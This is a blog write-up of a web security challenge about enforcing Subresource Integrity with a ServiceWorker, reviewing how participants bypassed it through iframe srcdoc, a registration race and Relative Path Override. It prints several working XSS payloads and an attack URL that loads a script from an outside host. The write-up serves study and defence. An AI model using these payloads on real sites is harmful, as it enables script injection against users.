Challenge Write-up: Subresource Integrity in Service Workers

For those who have not participated in my challenge, this document is about implementing security features in ServiceWorkers. A ServiceWorker (SW) is a type of Web Worker that can intercept and modify HTTP requests. A ServiceWorker is allowed to see requests towards your own as well as other origins – though it must not be able to see the response from cross-origin resources.

The idea of the challenge was to write a tiny ServiceWorker that would intercept all HTTP requests and cancel everything except those blessed by a white-list. On top of that, external resources (e.g., scripts) must only be loaded with Subresource Integrity (SRI). This can be easily achieved, because fetch() supports SRI out of the box: If you supply the integrity keyword in the options parameter to fetch, it will automatically fail unless the hashes match:

Here's the relevant code snippet with some extra comments

self.addEventListener("fetch", function(event) {
  let request = event.request;
  if (request.method === "GET") {
    // check if URL in pre-defined whitelist at the top of the document:
    if (request.url in INTEGRITY_METADATA) { 
      // if HTML does not contain integrity=, use from the whitelist
      let sriHash = request.integrity || INTEGRITY_METADATA[request.url];
      let fetchOptions = {
        integrity: sriHash,
        method: request.method,
        mode: "cors", // if we have integrity metadata, it should also use cors
        credentials: "omit", // ...and omit credentials
        cache: "default",
      };
      // ServiceWorker lets the document proceed fetching the resource, but with modified fetch options
      event.respondWith(fetch(request, fetchOptions));

The goal of the challenge was to make the document execute your script - essentially bypassing the ServiceWorker. To facilitate such an attack, I implemented a simple reflected Cross-Site-Scripting (XSS) vulnerability and hinted to its existence in the rules. XSS in general allows executing all kinds of scripts. Inline as well as from a specified URL. Because we wanted the script to go through the ServiceWorker, we have also hardened the challenge with a Content Security Policy (CSP). Content Security Policy is a mechanism to restrict how scripts can be run from a website. The policy that I used disallowed all kinds of inline scripts in tags or event handlers (e.g., <script>...</script> or onerror=). This essentially required an attacker to request a script that is living on their own domain, thus forcing them through the ServiceWorker.

Unless, of course, the attacker was able to find a browser bug involving an arcane constellation of markup that does not trigger the Fetch Event declared in the ServiceWorker.

PEBKAC

As it turns out, most browsers bypass the ServiceWorker when reloading a page with CTRL+SHIFT+R. Not only did this cause some invalid submissions, it also took me until the day I am trying to summarize my finding to notice that I have incorrectly approved some attacks when they do not actually work. This affects the following submissions: Mario Heiderich's vector is <svg><script/href=//14.rs></script> (which is even shorter on Firefox, because you can leave the closing </script> tag out).

But it does not work unless you hard-refresh. But with a hard-refresh, even <script/href=//14.rs></script> works, because, well, hard-refreshes bypass the ServiceWorker.

The same goes for Artur Janc's submission. His approach looks like this <base href="//14.rs"><script src=/></script>, using Mario's short domain name. It also falls flat when the ServiceWorker is correctly installed.

I'm sincerely sorry, but I have to gently wipe you off the leader board. I admit I should have done a better job at testing. I'm very sure you would have found a valid solution, if I had judged the challenge more properly.

Bypassing the Service Worker

Now, let's head on to the first submission. First blood was drawn by Manuel Caballero, who figured out that a script loaded in an <iframe srcdoc=..> is not going through the ServiceWorker. This is somewhat weird, given that a script running navigator.serviceWorker.getRegistrations() in this iframe returns the active ServiceWorker at sri-worker.js.

Masato Kinugawa promptly followed suite with the same attack vector. He also noted that a simple <script src=evil.com></script>-style vector also works in Private Browsing mode. This stems from the fact that the XSS vulnerability usually wins a race with the ServiceWorker registration. Note that the ServiceWorker must be registered from a separate JS file, since inline scripts are disallowed by CSP. This registration happens asynchronously and has to be faster then another script tag that is controlled by the attacker. It's certainly noteworthy, but I did not count this as a valid submission: In a real life scenario, an attacker is only really successful if the victim has a session associated with the web page and has also visited the web page before. In this case, the ServiceWorker is already registered and the bootstrapping is a no-op. I admit that this is a clear gap in my rules, so kudos to Masato Kinugawa (and some other folks who found this issue later on)!

Alex Inführ sent a solution that also used iframe srcdoc, but added the sandbox attribute, which cost him a few more characters.

In a similar vain, Eduardo Vela sent me to https://0v.lv/?e, which contains an iframe sandbox, that links to a conventional XSS on the domain. The trick here, is that navigations from an iframe sandbox pointing to a website with a Service Worker will skip trigger the ServiceWorker. This is a nice find, but wasn't considered a valid solution as it required user interaction.

Implementation flaws and assumptions

Having looked at those submissions that the ServiceWorker does not see, let's take another look at the rest of its source code. Some submissions also found implementation bugs. Here's the code right after the white-list check. Again, I'll add some extra comments.

let LOCALFILES = {};
LOCALFILES["/style.css"] = "sha384-q2bP418TFL/LOAo5XrjD7OciiOi63q6OKnDH67oOGNkWc/rvUaWpynoatxySxEPF";
LOCALFILES["/sri-sha.js"] = "sha384-TKCoLrAkiPTzJzLNLqSmFqC0XA9PCMUwSYg2E/FosZEy7h26mwR9wONvTZ9Zvtj9";
LOCALFILES["/initialize-sw.js"] = "sha384-32IhktVnY10EwfUKtlhYBUoBysS2QM8cmW1bW2HENM3nIEmGDNwpkqdmpaE2jF7Z";#
LOCALFILES["/sri-worker.js"] = "sha384-rRSq8lAgvvL9Tj617AxQJyzf1mB0sO0DfJoRJUMhqsBymYU3S+6qW4ClBNBIvhhk"
let parsed = new URL(request.url);
// other free pass: same-origin
if (parsed.origin === ownLocation.origin) {
  // we allow ourselves (the forward-slash) and paths required for the website to work. some stylesheets etc.
  if ((parsed.pathname === '/') || (parsed.pathname in LOCALFILES)) {
    // note that these requests do not require integrity. the integrity metadata in the object was left out here. 
    // this is mostly a decoy "bug", which I was hoping would confuse people.
    console.log("Fetching same-origin thingy", request.url)
    event.respondWith(fetch(request));
  } else {
    console.log(`[${LOGNAME}] Can not fetch ${request.url}. No integrity metadata.`);
    event.respondWith(Response.error());
  }
} else {
  // cross-origin: blocked.
  console.log(`[${LOGNAME}] Can not fetch ${request.url}. No integrity metadata.`);
 event.respondWith(Response.error());
}

To briefly summarize, we first perform a same-origin check and then allow files in the same origin that are contained in the LOCALFILES object or the file /. Even though the object contains hashes, these are never added to the request and thus never checked. I did not think of this case as a vulnerability and mostly left this inconsistency as a decoy. For every other type of request the code responds with a network error, i.e.,Response.error().

Thinking outside the box

This fine submission reached me when I was leaving the subway on my way home and I really did not understand what was going on:

https://serviceworker.on.web.security.plumbing/index.php/?name=<script/src=//0v.lv></script>

The really important thing to note here is that the request URL contains /index.php/?name=. This trick is called Relative Path Override (or RPO). A technique first described and coined by Gareth Heyes. RPO attacks the fact that the script is loading resources from a relative path initialize-sw.js. The attacker providing a different request path, can thus mess up the additional resource loading. The website will attempt to load the necessary files from /index.php/initialize-sw.js instead and therefore fails.

This is of course extra nasty, when those scripts behind relative paths are implementing security features. A truly nice find, by Eduardo Vela!

Conclusions & Acknowledgments

It's interesting to use fresh technologies like ServiceWorkers, Subresource Integrity and Content Security Policy (heh) in combination and see what happens. Building your own security solutions on top of the web platform is a very complex undertaking and makes you realize that those features were created ad-hoc in a very unsystematic way. As a result of that, I'd advise you not to implement hard guarantees about regulating fetch() calls using Service Workers.

But it's always great fun to think of something interesting and then have yourself proven wrong in the real world. Thanks to Anne van Kersteren for making me look into an implementation of Subresource Integrity (and require-sri-for) with Service Workers. And of course, thanks to all the participants that tried (and succeeded) to break the implementation in various ways.

If you want mandatory Subresource Integrity, I recommend you look into the SRI2 working draft. The require-sri-for CSP extension has been implemented in Firefox and Chrome, but in both cases it's behind a flag (security.csp.experimentalEnabled and experimental Web Platform features respectively)


If you find a mistake in this article, you can submit a pull request on GitHub.

Other posts

  1. How Firefox gives special permissions to some domains (Fri 02 February 2024)
  2. Examine Firefox Inter-Process Communication using JavaScript in 2023 (Mon 17 April 2023)
  3. Origins, Sites and other Terminologies (Sat 14 January 2023)
  4. Finding and Fixing DOM-based XSS with Static Analysis (Mon 02 January 2023)
  5. DOM Clobbering (Mon 12 December 2022)
  6. Neue Methoden für Cross-Origin Isolation: Resource, Opener & Embedding Policies mit COOP, COEP, CORP und CORB (Thu 10 November 2022)
  7. Reference Sheet for Principals in Mozilla Code (Mon 03 August 2020)
  8. Hardening Firefox against Injection Attacks – The Technical Details (Tue 07 July 2020)
  9. Understanding Web Security Checks in Firefox (Part 1) (Wed 10 June 2020)
  10. Help Test Firefox's built-in HTML Sanitizer to protect against UXSS bugs (Fri 06 December 2019)
  11. Remote Code Execution in Firefox beyond memory corruptions (Sun 29 September 2019)
  12. XSS in The Digital #ClimateStrike Widget (Mon 23 September 2019)
  13. Chrome switching the XSSAuditor to filter mode re-enables old attack (Fri 10 May 2019)
  14. Challenge Write-up: Subresource Integrity in Service Workers (Sat 25 March 2017)
  15. Finding the SqueezeBox Radio Default SSH Password (Fri 02 September 2016)
  16. New CSP directive to make Subresource Integrity mandatory (`require-sri-for`) (Thu 02 June 2016)
  17. Firefox OS apps and beyond (Tue 12 April 2016)
  18. Teacher's Pinboard Write-up (Wed 02 December 2015)
  19. A CDN that can not XSS you: Using Subresource Integrity (Sun 19 July 2015)
  20. The Twitter Gazebo (Sat 18 July 2015)
  21. German Firefox 1.0 ad (OCR) (Sun 09 November 2014)
  22. My thoughts on Tor appliances (Tue 14 October 2014)
  23. Subresource Integrity (Sun 05 October 2014)
  24. Revoke App Permissions on Firefox OS (Sun 24 August 2014)
  25. (Self) XSS at Mozilla's internal Phonebook (Fri 23 May 2014)
  26. Tales of Python's Encoding (Mon 17 March 2014)
  27. On the X-Frame-Options Security Header (Thu 12 December 2013)
  28. html2dom (Tue 24 September 2013)
  29. Security Review: HTML sanitizer in Thunderbird (Mon 22 July 2013)
  30. Week 29 2013 (Sun 21 July 2013)
  31. The First Post (Tue 16 July 2013)